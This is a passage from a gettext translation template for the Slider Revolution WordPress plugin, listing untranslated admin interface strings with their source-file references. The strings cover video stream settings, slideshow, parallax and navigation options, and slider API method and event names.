            to " "get the right values" msgstr "" #: admin/views/builder-slider-forms.php:797 msgid "YouTube Settings" msgstr "" #: admin/views/builder-slider-forms.php:802 msgid "Enter Api Key" msgstr "" #: admin/views/builder-slider-forms.php:806 msgid "" "Find information about the YouTube API key " "here" msgstr "" #: admin/views/builder-slider-forms.php:809 msgid "Channel ID" msgstr "" #: admin/views/builder-slider-forms.php:809 msgid "Enter YouTube Channel ID" msgstr "" #: admin/views/builder-slider-forms.php:811 msgid "Playlist" msgstr "" #: admin/views/builder-slider-forms.php:812 #: admin/views/builder-slider-forms.php:844 #: admin/views/builder-slider-forms.php:856 msgid "Channel" msgstr "" #: admin/views/builder-slider-forms.php:815 msgid "Select Playlist" msgstr "" #: admin/views/builder-slider-forms.php:820 msgid "" "See how to find the Youtube channel ID here" msgstr "" #: admin/views/builder-slider-forms.php:825 msgid "" "The “YouTube Stream” content source is used to display a full stream of " "videos from a channel/playlist.
            If you want to display a single youtube " "video, please select the content source “Default Slider” and add a video " "layer in the slide editor." msgstr "" #: admin/views/builder-slider-forms.php:835 msgid "Vimeo Settings" msgstr "" #: admin/views/builder-slider-forms.php:838 msgid "Slides (<60)" msgstr "" #: admin/views/builder-slider-forms.php:841 #: admin/views/builder-slider-forms.php:847 msgid "User" msgstr "" #: admin/views/builder-slider-forms.php:850 msgid "Enter Album Id" msgstr "" #: admin/views/builder-slider-forms.php:853 msgid "Enter Group Name" msgstr "" #: admin/views/builder-slider-forms.php:856 msgid "Enter Channel Name" msgstr "" #: admin/views/builder-slider-forms.php:860 msgid "" "The “Vimeo Stream” content source is used to display a full stream of videos " "from a user/album/group/channel.
            If you want to display a single vimeo " "video, please select the content source “Default Slider” and add a video " "layer in the slide editor." msgstr "" #: admin/views/builder-slider-forms.php:871 msgid "General Settings" msgstr "" #: admin/views/builder-slider-forms.php:875 msgid "Dynamic Viewport Loading" msgstr "" #: admin/views/builder-slider-forms.php:878 msgid "ViewPort Stop" msgstr "" #: admin/views/builder-slider-forms.php:881 msgid "Wait" msgstr "" #: admin/views/builder-slider-forms.php:881 msgid "Pause" msgstr "" #: admin/views/builder-slider-forms.php:893 msgid "Slideshow" msgstr "" #: admin/views/builder-slider-forms.php:897 msgid "Auto Rotate Slideshow" msgstr "" #: admin/views/builder-slider-forms.php:899 msgid "Stop on Hover" msgstr "" #: admin/views/builder-slider-forms.php:900 msgid "Loop One Slide" msgstr "" #: admin/views/builder-slider-forms.php:901 msgid "Stop after N Loops" msgstr "" #: admin/views/builder-slider-forms.php:908 msgid "Random Order" msgstr "" #: admin/views/builder-slider-forms.php:911 msgid "Wait for API" msgstr "" #: admin/views/builder-slider-forms.php:922 msgid "Other 1. Slide" msgstr "" #: admin/views/builder-slider-forms.php:923 msgid "#" msgstr "" #: admin/views/builder-slider-forms.php:925 msgid "Diff. Anim" msgstr "" #: admin/views/builder-slider-forms.php:927 msgid "Transitions" msgstr "" #: admin/views/builder-slider-forms.php:929 #: admin/views/builder-slide-forms.php:462 #: admin/views/builder-layer-forms.php:1134 msgid "Duration" msgstr "" #: admin/views/builder-slider-forms.php:930 msgid "Slot Amount" msgstr "" #: admin/views/builder-slider-forms.php:937 #: admin/views/builder-slider-forms.php:1049 msgid "Disable on Mobile" msgstr "" #: admin/views/builder-slider-forms.php:939 msgid "Disable Slider" msgstr "" #: admin/views/builder-slider-forms.php:940 msgid "Disable Ken B." msgstr "" #: admin/views/builder-slider-forms.php:946 msgid "Hide Under Browser width..." msgstr "" #: admin/views/builder-slider-forms.php:949 msgid "Marked Layers" msgstr "" #: admin/views/builder-slider-forms.php:950 msgid "All Layers" msgstr "" #: admin/views/builder-slider-forms.php:955 msgid "Mobile Settings" msgstr "" #: admin/views/builder-slider-forms.php:957 msgid "HTML5 Autoplay" msgstr "" #: admin/views/builder-slider-forms.php:961 msgid "Option is depricated and will be removed in upcoming updates !" msgstr "" #: admin/views/builder-slider-forms.php:970 msgid "Browser behavior" msgstr "" #: admin/views/builder-slider-forms.php:973 msgid "Next on Browser Focus" msgstr "" #: admin/views/builder-slider-forms.php:974 msgid "Disable Blur/Focus behav." msgstr "" #: admin/views/builder-slider-forms.php:984 #: admin/views/builder-slide-forms.php:31 msgid "WPML" msgstr "" #: admin/views/builder-slider-forms.php:986 msgid "Use WPML Settings" msgstr "" #: admin/views/builder-slider-forms.php:1000 msgid "Module Defaults" msgstr "" #: admin/views/builder-slider-forms.php:1004 msgid "Default Basics" msgstr "" #: admin/views/builder-slider-forms.php:1006 msgid "Module ID" msgstr "" #: admin/views/builder-slider-forms.php:1007 msgid "Module Classes" msgstr "" #: admin/views/builder-slider-forms.php:1008 msgid "Wrapper Classes" msgstr "" #: admin/views/builder-slider-forms.php:1009 msgid "Slide Duration" msgstr "" #: admin/views/builder-slider-forms.php:1010 msgid "Initialization Delay" msgstr "" #: admin/views/builder-slider-forms.php:1011 msgid "Layers are Selectable" msgstr "" #: admin/views/builder-slider-forms.php:1017 msgid "Default New Layer Settings" msgstr "" #: admin/views/builder-slider-forms.php:1019 #: admin/views/builder-layer-forms.php:378 msgid "Intelligent Inheriting" msgstr "" #: admin/views/builder-slider-forms.php:1020 msgid "Responsive Between Devices" msgstr "" #: admin/views/builder-slider-forms.php:1021 #: admin/views/builder-layer-forms.php:385 msgid "Responsive Offsets" msgstr "" #: admin/views/builder-slider-forms.php:1022 #: admin/views/builder-layer-forms.php:386 msgid "Responsive Children" msgstr "" #: admin/views/builder-slider-forms.php:1037 msgid "Scroll Based Features" msgstr "" #: admin/views/builder-slider-forms.php:1040 msgid "Parallax" msgstr "" #: admin/views/builder-slider-forms.php:1041 #: admin/views/builder-layer-forms.php:1595 msgid "Timeline" msgstr "" #: admin/views/builder-slider-forms.php:1046 msgid "Parallax Enabled" msgstr "" #: admin/views/builder-slider-forms.php:1048 msgid "3D Effects Enabled" msgstr "" #: admin/views/builder-slider-forms.php:1054 msgid "Timelines Scroll based" msgstr "" #: admin/views/builder-slider-forms.php:1058 msgid "Speed" msgstr "" #: admin/views/builder-slider-forms.php:1061 msgid "Fix during Scroll" msgstr "" #: admin/views/builder-slider-forms.php:1066 msgid "Module Fixed From" msgstr "" #: admin/views/builder-slider-forms.php:1067 msgid "Module Fixed Until" msgstr "" #: admin/views/builder-slider-forms.php:1073 msgid "Use Full Screen or Full Width Layout to Use Fixed Scroll." msgstr "" #: admin/views/builder-slider-forms.php:1080 msgid "Scroll based Effects" msgstr "" #: admin/views/builder-slider-forms.php:1089 msgid "Mouse Interaction" msgstr "" #: admin/views/builder-slider-forms.php:1091 msgid "Triggered by" msgstr "" #: admin/views/builder-slider-forms.php:1092 msgid "Mouse Move" msgstr "" #: admin/views/builder-slider-forms.php:1093 msgid "Scroll Position" msgstr "" #: admin/views/builder-slider-forms.php:1094 msgid "Mouse Move & Scroll" msgstr "" #: admin/views/builder-slider-forms.php:1096 msgid "Parallax Orig." msgstr "" #: admin/views/builder-slider-forms.php:1097 msgid "Mouse Enter Point" msgstr "" #: admin/views/builder-slider-forms.php:1098 msgid "Slider Center" msgstr "" #: admin/views/builder-slider-forms.php:1100 msgid "Mouse Speed" msgstr "" #: admin/views/builder-slider-forms.php:1101 msgid "BG Speed" msgstr "" #: admin/views/builder-slider-forms.php:1102 msgid "Layers Speed" msgstr "" #: admin/views/builder-slider-forms.php:1108 msgid "3D Settings" msgstr "" #: admin/views/builder-slider-forms.php:1111 msgid "On Background Enabled" msgstr "" #: admin/views/builder-slider-forms.php:1112 msgid "Slider Overflow Hidden" msgstr "" #: admin/views/builder-slider-forms.php:1113 msgid "Layers Overflow Hidden" msgstr "" #: admin/views/builder-slider-forms.php:1115 msgid "3D Crop Fix (z)" msgstr "" #: admin/views/builder-slider-forms.php:1116 #: admin/views/builder-slide-forms.php:261 msgid "BG 3D Depth" msgstr "" #: admin/views/builder-slider-forms.php:1121 msgid "Depths" msgstr "" #: admin/views/builder-slider-forms.php:1124 msgid "1." msgstr "" #: admin/views/builder-slider-forms.php:1125 msgid "6." msgstr "" #: admin/views/builder-slider-forms.php:1126 msgid "11." msgstr "" #: admin/views/builder-slider-forms.php:1129 msgid "2." msgstr "" #: admin/views/builder-slider-forms.php:1130 msgid "7." msgstr "" #: admin/views/builder-slider-forms.php:1131 msgid "12." msgstr "" #: admin/views/builder-slider-forms.php:1134 msgid "3." msgstr "" #: admin/views/builder-slider-forms.php:1135 msgid "8." msgstr "" #: admin/views/builder-slider-forms.php:1136 msgid "13." msgstr "" #: admin/views/builder-slider-forms.php:1139 msgid "4." msgstr "" #: admin/views/builder-slider-forms.php:1140 msgid "9." msgstr "" #: admin/views/builder-slider-forms.php:1141 msgid "14." msgstr "" #: admin/views/builder-slider-forms.php:1144 msgid "5." msgstr "" #: admin/views/builder-slider-forms.php:1145 msgid "10." msgstr "" #: admin/views/builder-slider-forms.php:1146 msgid "15." msgstr "" #: admin/views/builder-slider-forms.php:1156 msgid "Use Default on..." msgstr "" #: admin/views/builder-slider-forms.php:1158 msgid "Layers" msgstr "" #: admin/views/builder-slider-forms.php:1168 msgid "Scroll Effects Default" msgstr "" #: admin/views/builder-slider-forms.php:1171 #: admin/views/builder-slide-forms.php:305 msgid "Grayscale" msgstr "" #: admin/views/builder-slider-forms.php:1172 #: admin/views/builder-slide-forms.php:300 msgid "Blur" msgstr "" #: admin/views/builder-slider-forms.php:1173 msgid "Max Blur Strength" msgstr "" #: admin/views/builder-slider-forms.php:1174 msgid "Layers default Enabled" msgstr "" #: admin/views/builder-slider-forms.php:1175 msgid "Slides default Enabled" msgstr "" #: admin/views/builder-slider-forms.php:1179 msgid "Scroll Effects Settings" msgstr "" #: admin/views/builder-slider-forms.php:1182 #: admin/views/builder-nav-forms.php:811 msgid "Direction" msgstr "" #: admin/views/builder-slider-forms.php:1185 #: admin/views/builder-layer-forms.php:326 msgid "Both" msgstr "" #: admin/views/builder-slider-forms.php:1188 msgid "Disable Mobile" msgstr "" #: admin/views/builder-slider-forms.php:1189 msgid "Offset (Tilt) Effect" msgstr "" #: admin/views/builder-slider-forms.php:1190 msgid "Factor on BG's" msgstr "" #: admin/views/builder-slider-forms.php:1191 msgid "Factor on Layers" msgstr "" #: admin/views/builder-slider-forms.php:1205 msgid "Loading Type" msgstr "" #: admin/views/builder-slider-forms.php:1208 #: admin/views/builder-layer-forms.php:179 msgid "Lazy Loading" msgstr "" #: admin/views/builder-slider-forms.php:1208 msgid "All" msgstr "" #: admin/views/builder-slider-forms.php:1208 msgid "Smart" msgstr "" #: admin/views/builder-slider-forms.php:1208 msgid "Single" msgstr "" #: admin/views/builder-slider-forms.php:1208 msgid "No Lazy Loading" msgstr "" #: admin/views/builder-slider-forms.php:1216 msgid "Fallback Settings" msgstr "" #: admin/views/builder-slider-forms.php:1218 msgid "Simplify on IOS4 / IE8" msgstr "" #: admin/views/builder-slider-forms.php:1220 msgid "Alt. Image" msgstr "" #: admin/views/builder-slider-forms.php:1221 #: admin/views/builder-nav-forms.php:831 #: admin/views/builder-layer-forms.php:240 msgid "Off" msgstr "" #: admin/views/builder-slider-forms.php:1222 msgid "On Mobile" msgstr "" #: admin/views/builder-slider-forms.php:1223 msgid "On IE8" msgstr "" #: admin/views/builder-slider-forms.php:1224 msgid "On Mobile and IE8" msgstr "" #: admin/views/builder-slider-forms.php:1228 msgid "Image URL" msgstr "" #: admin/views/builder-slider-forms.php:1228 #: admin/views/builder-slide-forms.php:56 msgid "Enter Image URL" msgstr "" #: admin/views/builder-slider-forms.php:1236 msgid "jQuery & OutPut Filters" msgstr "" #: admin/views/builder-slider-forms.php:1238 msgid "jQuery No Conflict Mode" msgstr "" #: admin/views/builder-slider-forms.php:1239 msgid "Put JS to Body" msgstr "" #: admin/views/builder-slider-forms.php:1243 msgid "Output Filter" msgstr "" #: admin/views/builder-slider-forms.php:1245 msgid "By Compressing Output" msgstr "" #: admin/views/builder-slider-forms.php:1246 msgid "By Echo Output" msgstr "" #: admin/views/builder-slider-forms.php:1248 msgid "Debug Mode" msgstr "" #: admin/views/builder-slider-forms.php:1261 admin/views/modals-builder.php:74 #: admin/views/modals-builder.php:109 admin/views/modals-builder.php:141 msgid "Next Step" msgstr "" #: admin/views/modals-copyright.php:19 msgid "Copyright & Licensing - Slider Revolution Library" msgstr "" #: admin/views/builder-timeline.php:28 msgid "No Sticky Keyframes" msgstr "" #: admin/views/builder-timeline.php:29 msgid "Single Layer Sticky" msgstr "" #: admin/views/builder-timeline.php:30 msgid "Hierarchy Sticky" msgstr "" #: admin/views/builder-timeline.php:37 msgid "Set all Timings" msgstr "" #: admin/views/builder-timeline.php:70 msgid "Slide BG Animation" msgstr "" #: admin/views/builder-timeline.php:81 msgid "Global Layers Timeline" msgstr "" #: admin/views/builder-timeline.php:89 msgid "FREE POSITIONED LAYERS" msgstr "" #: admin/views/builder-nav-forms.php:18 admin/views/builder-slide-forms.php:23 #: admin/views/builder-slide-forms.php:559 msgid "Progress" msgstr "" #: admin/views/builder-nav-forms.php:19 admin/views/builder-nav-forms.php:53 #: admin/views/modals-builder.php:226 msgid "Arrows" msgstr "" #: admin/views/builder-nav-forms.php:20 admin/views/builder-nav-forms.php:246 #: admin/views/modals-builder.php:227 msgid "Bullets" msgstr "" #: admin/views/builder-nav-forms.php:21 admin/views/builder-nav-forms.php:391 #: admin/views/modals-builder.php:228 msgid "Tabs" msgstr "" #: admin/views/builder-nav-forms.php:22 admin/views/builder-nav-forms.php:575 #: admin/views/modals-builder.php:229 msgid "Thumbs" msgstr "" #: admin/views/builder-nav-forms.php:23 msgid "Prev Size" msgstr "" #: admin/views/builder-nav-forms.php:24 admin/views/builder-nav-forms.php:782 msgid "Touch" msgstr "" #: admin/views/builder-nav-forms.php:25 msgid "Keyboard" msgstr "" #: admin/views/builder-nav-forms.php:26 msgid "Mouse" msgstr "" #: admin/views/builder-nav-forms.php:27 msgid "Nav Editor" msgstr "" #: admin/views/builder-nav-forms.php:37 admin/views/builder-nav-forms.php:40 msgid "Progress Bar" msgstr "" #: admin/views/builder-nav-forms.php:43 admin/views/modals-builder.php:322 #: admin/views/builder-layer-forms.php:1170 #: admin/views/builder-layer-forms.php:1556 #: admin/views/builder-layer-forms.php:1562 msgid "Color" msgstr "" #: admin/views/builder-nav-forms.php:46 msgid "Height" msgstr "" #: admin/views/builder-nav-forms.php:56 admin/views/builder-nav-forms.php:60 #: admin/views/builder-nav-forms.php:249 admin/views/builder-nav-forms.php:252 #: admin/views/builder-nav-forms.php:253 admin/views/builder-nav-forms.php:400 #: admin/views/builder-nav-forms.php:401 admin/views/builder-nav-forms.php:583 #: admin/views/builder-nav-forms.php:584 admin/views/builder-layer-forms.php:29 #: admin/views/builder-layer-forms.php:502 msgid "Style" msgstr "" #: admin/views/builder-nav-forms.php:57 admin/views/builder-nav-forms.php:189 #: admin/views/builder-nav-forms.php:250 admin/views/builder-nav-forms.php:396 #: admin/views/builder-nav-forms.php:579 #: admin/views/builder-slide-forms.php:573 #: admin/views/builder-layer-forms.php:394 msgid "Visibility" msgstr "" #: admin/views/builder-nav-forms.php:58 admin/views/builder-nav-forms.php:76 msgid "Left Arrow" msgstr "" #: admin/views/builder-nav-forms.php:59 admin/views/builder-nav-forms.php:135 msgid "Right Arrow" msgstr "" #: admin/views/builder-nav-forms.php:61 msgid "Style on Slide" msgstr "" #: admin/views/builder-nav-forms.php:64 msgid "Arrow Type" msgstr "" #: admin/views/builder-nav-forms.php:68 msgid "Arrow Style" msgstr "" #: admin/views/builder-nav-forms.php:69 admin/views/builder-nav-forms.php:262 #: admin/views/builder-nav-forms.php:410 admin/views/builder-nav-forms.php:593 msgid "No Style" msgstr "" #: admin/views/builder-nav-forms.php:83 admin/views/builder-nav-forms.php:138 #: admin/views/builder-nav-forms.php:280 admin/views/builder-nav-forms.php:427 #: admin/views/builder-nav-forms.php:610 msgid "Aligned by" msgstr "" #: admin/views/builder-nav-forms.php:85 admin/views/builder-nav-forms.php:140 #: admin/views/builder-nav-forms.php:282 admin/views/builder-nav-forms.php:429 msgid "Module Dimension" msgstr "" #: admin/views/builder-nav-forms.php:95 admin/views/builder-nav-forms.php:149 #: admin/views/builder-nav-forms.php:291 admin/views/builder-nav-forms.php:447 #: admin/views/builder-nav-forms.php:630 #: admin/views/builder-layer-forms.php:442 msgid "Alignment" msgstr "" #: admin/views/builder-nav-forms.php:124 admin/views/builder-nav-forms.php:177 #: admin/views/builder-nav-forms.php:324 admin/views/builder-nav-forms.php:513 #: admin/views/builder-nav-forms.php:695 msgid "From Left" msgstr "" #: admin/views/builder-nav-forms.php:125 admin/views/builder-nav-forms.php:178 #: admin/views/builder-nav-forms.php:325 admin/views/builder-nav-forms.php:514 #: admin/views/builder-nav-forms.php:696 msgid "From Right" msgstr "" #: admin/views/builder-nav-forms.php:126 admin/views/builder-nav-forms.php:179 #: admin/views/builder-nav-forms.php:326 admin/views/builder-nav-forms.php:515 #: admin/views/builder-nav-forms.php:697 msgid "From Top" msgstr "" #: admin/views/builder-nav-forms.php:127 admin/views/builder-nav-forms.php:180 #: admin/views/builder-nav-forms.php:327 admin/views/builder-nav-forms.php:516 #: admin/views/builder-nav-forms.php:698 msgid "From Bottom" msgstr "" #: admin/views/builder-nav-forms.php:128 admin/views/builder-nav-forms.php:181 #: admin/views/builder-nav-forms.php:328 admin/views/builder-nav-forms.php:517 #: admin/views/builder-nav-forms.php:699 msgid "Zoom In" msgstr "" #: admin/views/builder-nav-forms.php:129 admin/views/builder-nav-forms.php:182 #: admin/views/builder-nav-forms.php:329 admin/views/builder-nav-forms.php:518 #: admin/views/builder-nav-forms.php:700 msgid "Zoom Out" msgstr "" #: admin/views/builder-nav-forms.php:192 admin/views/builder-nav-forms.php:334 #: admin/views/builder-nav-forms.php:522 admin/views/builder-nav-forms.php:704 msgid "RTL Direction" msgstr "" #: admin/views/builder-nav-forms.php:193 admin/views/builder-nav-forms.php:331 #: admin/views/builder-nav-forms.php:520 admin/views/builder-nav-forms.php:702 msgid "Show Speed" msgstr "" #: admin/views/builder-nav-forms.php:194 admin/views/builder-nav-forms.php:332 #: admin/views/builder-nav-forms.php:521 admin/views/builder-nav-forms.php:703 msgid "Show Delay" msgstr "" #: admin/views/builder-nav-forms.php:196 admin/views/builder-nav-forms.php:336 #: admin/views/builder-nav-forms.php:524 admin/views/builder-nav-forms.php:706 msgid "Show Always" msgstr "" #: admin/views/builder-nav-forms.php:205 admin/views/builder-nav-forms.php:345 #: admin/views/builder-nav-forms.php:533 admin/views/builder-nav-forms.php:717 msgid "Hide Under" msgstr "" #: admin/views/builder-nav-forms.php:210 admin/views/builder-nav-forms.php:350 #: admin/views/builder-nav-forms.php:538 admin/views/builder-nav-forms.php:722 msgid "Hide Over" msgstr "" #: admin/views/builder-nav-forms.php:217 admin/views/builder-nav-forms.php:357 msgid "Navigation Style" msgstr "" #: admin/views/builder-nav-forms.php:224 admin/views/builder-nav-forms.php:364 #: admin/views/builder-nav-forms.php:552 admin/views/builder-nav-forms.php:736 msgid "Global Style Presets" msgstr "" #: admin/views/builder-nav-forms.php:227 admin/views/builder-nav-forms.php:367 #: admin/views/builder-nav-forms.php:554 admin/views/builder-nav-forms.php:738 msgid "Preset" msgstr "" #: admin/views/builder-nav-forms.php:228 admin/views/builder-nav-forms.php:368 #: admin/views/builder-nav-forms.php:555 admin/views/builder-nav-forms.php:739 msgid "Load" msgstr "" #: admin/views/builder-nav-forms.php:236 admin/views/builder-nav-forms.php:377 #: admin/views/builder-nav-forms.php:563 admin/views/builder-nav-forms.php:747 msgid "Override Style on Slide" msgstr "" #: admin/views/builder-nav-forms.php:257 msgid "Bullets Type" msgstr "" #: admin/views/builder-nav-forms.php:261 msgid "Bullets Style" msgstr "" #: admin/views/builder-nav-forms.php:271 msgid "Gap" msgstr "" #: admin/views/builder-nav-forms.php:272 admin/views/builder-nav-forms.php:419 #: admin/views/builder-nav-forms.php:602 msgid "Orientation" msgstr "" #: admin/views/builder-nav-forms.php:274 admin/views/builder-nav-forms.php:421 #: admin/views/builder-nav-forms.php:604 admin/views/builder-nav-forms.php:794 #: admin/views/builder-layer-forms.php:1280 msgid "Horizontal" msgstr "" #: admin/views/builder-nav-forms.php:275 admin/views/builder-nav-forms.php:422 #: admin/views/builder-nav-forms.php:605 admin/views/builder-nav-forms.php:795 #: admin/views/builder-layer-forms.php:1275 msgid "Vertical" msgstr "" #: admin/views/builder-nav-forms.php:319 msgid "Bullets Visibility" msgstr "" #: admin/views/builder-nav-forms.php:395 admin/views/builder-nav-forms.php:578 msgid "Main Style" msgstr "" #: admin/views/builder-nav-forms.php:398 admin/views/builder-nav-forms.php:478 #: admin/views/builder-nav-forms.php:581 admin/views/builder-nav-forms.php:659 msgid "Size" msgstr "" #: admin/views/builder-nav-forms.php:399 admin/views/builder-nav-forms.php:495 #: admin/views/builder-nav-forms.php:582 admin/views/builder-nav-forms.php:677 msgid "Wrapper" msgstr "" #: admin/views/builder-nav-forms.php:405 msgid "Tabs Type" msgstr "" #: admin/views/builder-nav-forms.php:409 msgid "Tabs Style" msgstr "" #: admin/views/builder-nav-forms.php:435 admin/views/builder-nav-forms.php:618 msgid "Inner / Outer" msgstr "" #: admin/views/builder-nav-forms.php:437 admin/views/builder-nav-forms.php:620 msgid "Inner" msgstr "" #: admin/views/builder-nav-forms.php:438 admin/views/builder-nav-forms.php:621 msgid "Outer Vertical" msgstr "" #: admin/views/builder-nav-forms.php:439 admin/views/builder-nav-forms.php:622 msgid "Outer Horizontal" msgstr "" #: admin/views/builder-nav-forms.php:471 admin/views/builder-nav-forms.php:654 msgid "Visible amount" msgstr "" #: admin/views/builder-nav-forms.php:503 admin/views/builder-nav-forms.php:685 msgid "Span" msgstr "" #: admin/views/builder-nav-forms.php:508 msgid "Tabs Visibility" msgstr "" #: admin/views/builder-nav-forms.php:545 admin/views/builder-nav-forms.php:729 msgid "Style Global" msgstr "" #: admin/views/builder-nav-forms.php:588 msgid "Thumb Type" msgstr "" #: admin/views/builder-nav-forms.php:592 msgid "Thumbs Style" msgstr "" #: admin/views/builder-nav-forms.php:690 msgid "Thumbs Visibility" msgstr "" #: admin/views/builder-nav-forms.php:760 msgid "Nav Image Dimensions" msgstr "" #: admin/views/builder-nav-forms.php:763 msgid "Preview Image" msgstr "" #: admin/views/builder-nav-forms.php:767 admin/views/builder-slide-forms.php:88 msgid "Image from Stream if exists" msgstr "" #: admin/views/builder-nav-forms.php:779 msgid "Swipe Settings" msgstr "" #: admin/views/builder-nav-forms.php:785 msgid "Mobile Swipe Enabled" msgstr "" #: admin/views/builder-nav-forms.php:786 msgid "Desktop Swipe Enabled" msgstr "" #: admin/views/builder-nav-forms.php:787 msgid "Block Scroll" msgstr "" #: admin/views/builder-nav-forms.php:789 msgid "Velocity" msgstr "" #: admin/views/builder-nav-forms.php:790 msgid "Min. Finger" msgstr "" #: admin/views/builder-nav-forms.php:792 msgid "Swipe Dir" msgstr "" #: admin/views/builder-nav-forms.php:804 msgid "Keyboard Settings" msgstr "" #: admin/views/builder-nav-forms.php:807 msgid "Keyboard Arrow Navigation" msgstr "" #: admin/views/builder-nav-forms.php:813 msgid "Left/Right Arrow Keys" msgstr "" #: admin/views/builder-nav-forms.php:814 msgid "Up/Down Arrow Keys" msgstr "" #: admin/views/builder-nav-forms.php:822 msgid "Mouse Scroll Settings" msgstr "" #: admin/views/builder-nav-forms.php:825 msgid "Mouse Scroll Navigation" msgstr "" #: admin/views/builder-nav-forms.php:830 #: admin/views/builder-layer-forms.php:240 msgid "On" msgstr "" #: admin/views/builder-nav-forms.php:835 msgid "Reverse Scroll" msgstr "" #: admin/views/builder-nav-forms.php:837 #: admin/views/builder-layer-forms.php:783 #: admin/views/builder-layer-forms.php:784 msgid "Reverse" msgstr "" #: admin/views/header.php:127 msgid "Please Wait..." msgstr "" #: admin/views/modals-builder.php:20 msgid "Module Creation Guide" msgstr "" #: admin/views/modals-builder.php:27 msgid "" "This Guide will help you with the basic configuration *
            of your Slider " "Revolution 6 Module." msgstr "" #: admin/views/modals-builder.php:29 msgid "Start Guide" msgstr "" #: admin/views/modals-builder.php:31 msgid "Quit Guide" msgstr "" #: admin/views/modals-builder.php:38 msgid "" "* All settings adjusted by the guide can be changed later.
            Click the " "Help Icon to find options & documentation" msgstr "" #: admin/views/modals-builder.php:70 admin/views/modals-builder.php:105 #: admin/views/modals-builder.php:137 admin/views/modals-builder.php:181 msgid "Previous Step" msgstr "" #: admin/views/modals-builder.php:72 msgid "Module Type" msgstr "" #: admin/views/modals-builder.php:107 msgid "Module Dimensions" msgstr "" #: admin/views/modals-builder.php:139 msgid "Responisvity" msgstr "" #: admin/views/modals-builder.php:142 admin/views/modals-builder.php:185 msgid "Go to Editor" msgstr "" #: admin/views/modals-builder.php:183 msgid "Customization" msgstr "" #: admin/views/modals-builder.php:201 msgid "Layer Import" msgstr "" #: admin/views/modals-builder.php:208 msgid "Import Selected Layers" msgstr "" #: admin/views/modals-builder.php:222 msgid "Navigation Editor" msgstr "" #: admin/views/modals-builder.php:224 msgid "Save Navigation" msgstr "" #: admin/views/modals-builder.php:232 msgid "Factory Skins" msgstr "" #: admin/views/modals-builder.php:237 msgid "Add New Navigation " msgstr "" #: admin/views/modals-builder.php:269 admin/views/builder-slide-forms.php:510 msgid "Class" msgstr "" #: admin/views/modals-builder.php:294 msgid "CSS" msgstr "" #: admin/views/modals-builder.php:294 msgid "Markup" msgstr "" #: admin/views/modals-builder.php:300 msgid "Markup Meta" msgstr "" #: admin/views/modals-builder.php:301 msgid "Slide Title" msgstr "" #: admin/views/modals-builder.php:302 msgid "Slide Description" msgstr "" #: admin/views/modals-builder.php:303 admin/views/builder-slide-forms.php:643 msgid "Parameter 1" msgstr "" #: admin/views/modals-builder.php:304 admin/views/builder-slide-forms.php:644 msgid "Parameter 2" msgstr "" #: admin/views/modals-builder.php:305 admin/views/builder-slide-forms.php:645 msgid "Parameter 3" msgstr "" #: admin/views/modals-builder.php:306 admin/views/builder-slide-forms.php:646 msgid "Parameter 4" msgstr "" #: admin/views/modals-builder.php:307 admin/views/builder-slide-forms.php:647 msgid "Parameter 5" msgstr "" #: admin/views/modals-builder.php:308 admin/views/builder-slide-forms.php:648 msgid "Parameter 6" msgstr "" #: admin/views/modals-builder.php:309 admin/views/builder-slide-forms.php:649 msgid "Parameter 7" msgstr "" #: admin/views/modals-builder.php:310 admin/views/builder-slide-forms.php:650 msgid "Parameter 8" msgstr "" #: admin/views/modals-builder.php:311 admin/views/builder-slide-forms.php:651 msgid "Parameter 9" msgstr "" #: admin/views/modals-builder.php:312 admin/views/builder-slide-forms.php:652 msgid "Parameter 10" msgstr "" #: admin/views/modals-builder.php:316 msgid "Meta Values" msgstr "" #: admin/views/modals-builder.php:318 msgid "Add New Meta" msgstr "" #: admin/views/modals-builder.php:321 msgid "Meta Config" msgstr "" #: admin/views/modals-builder.php:322 admin/views/builder-layer-forms.php:532 msgid "Font Family" msgstr "" #: admin/views/modals-builder.php:322 admin/views/builder-layer-forms.php:127 msgid "Icon" msgstr "" #: admin/views/modals-builder.php:352 admin/views/modals-builder.php:353 msgid "Can not be Empty" msgstr "" #: admin/views/modals-builder.php:353 msgid "Handle" msgstr "" #: admin/views/modals-builder.php:372 msgid "CSS/JS Editor" msgstr "" #: admin/views/modals-builder.php:372 msgid "CUSTOM CSS" msgstr "" #: admin/views/modals-builder.php:372 msgid "CUSTOM JS" msgstr "" #: admin/views/modals-builder.php:380 msgid "Methods" msgstr "" #: admin/views/modals-builder.php:382 msgid "Call this function to start the slider." msgstr "" #: admin/views/modals-builder.php:382 msgid "Start Slider" msgstr "" #: admin/views/modals-builder.php:388 msgid "Call this function to pause the slider." msgstr "" #: admin/views/modals-builder.php:394 msgid "Call this function to play the slider if it is paused." msgstr "" #: admin/views/modals-builder.php:394 msgid "Resume Slider" msgstr "" #: admin/views/modals-builder.php:400 msgid "Switch slider to previous slide." msgstr "" #: admin/views/modals-builder.php:406 msgid "Switch slider to next slide." msgstr "" #: admin/views/modals-builder.php:412 msgid "Scroll page under the slider." msgstr "" #: admin/views/modals-builder.php:412 msgid "External Scroll" msgstr "" #: admin/views/modals-builder.php:418 msgid "" "Remove One Slide with Slide Index from the Slider. Index starts with 0 which " "will remove the first slide." msgstr "" #: admin/views/modals-builder.php:418 msgid "Remove Slide" msgstr "" #: admin/views/modals-builder.php:424 admin/views/modals-builder.php:430 msgid "Switch to the slide which is defined as parameter." msgstr "" #: admin/views/modals-builder.php:424 msgid "Go To Slide" msgstr "" #: admin/views/modals-builder.php:430 msgid "Go To Slide with ID" msgstr "" #: admin/views/modals-builder.php:436 msgid "Get the amount of existing slides in the slider." msgstr "" #: admin/views/modals-builder.php:436 msgid "Max Slides" msgstr "" #: admin/views/modals-builder.php:442 msgid "Get the current focused slide index." msgstr "" #: admin/views/modals-builder.php:442 msgid "Current Slide" msgstr "" #: admin/views/modals-builder.php:448 msgid "Get the previously played slide." msgstr "" #: admin/views/modals-builder.php:454 msgid "" "Recalculate all positions, sizing etc in the slider. This should be called " "i.e. if Slider was invisible and becomes visible without any window resize " "event." msgstr "" #: admin/views/modals-builder.php:454 msgid "Redraw Slider" msgstr "" #: admin/views/modals-builder.php:460 msgid "" "Unbind all listeners, remove current animations and delete containers. Ready " "for Garbage collection." msgstr "" #: admin/views/modals-builder.php:460 msgid "Kill Slider" msgstr "" #: admin/views/modals-builder.php:469 admin/views/modals-builder.php:525 #: admin/views/modals-builder.php:607 msgid "Events" msgstr "" #: admin/views/modals-builder.php:471 msgid "Slider Loaded" msgstr "" #: admin/views/modals-builder.php:474 msgid "Slider swapped to an other slide" msgstr "" #: admin/views/modals-builder.php:475 msgid "Index of Current Slide" msgstr "" #: admin/views/modals-builder.php:475 msgid 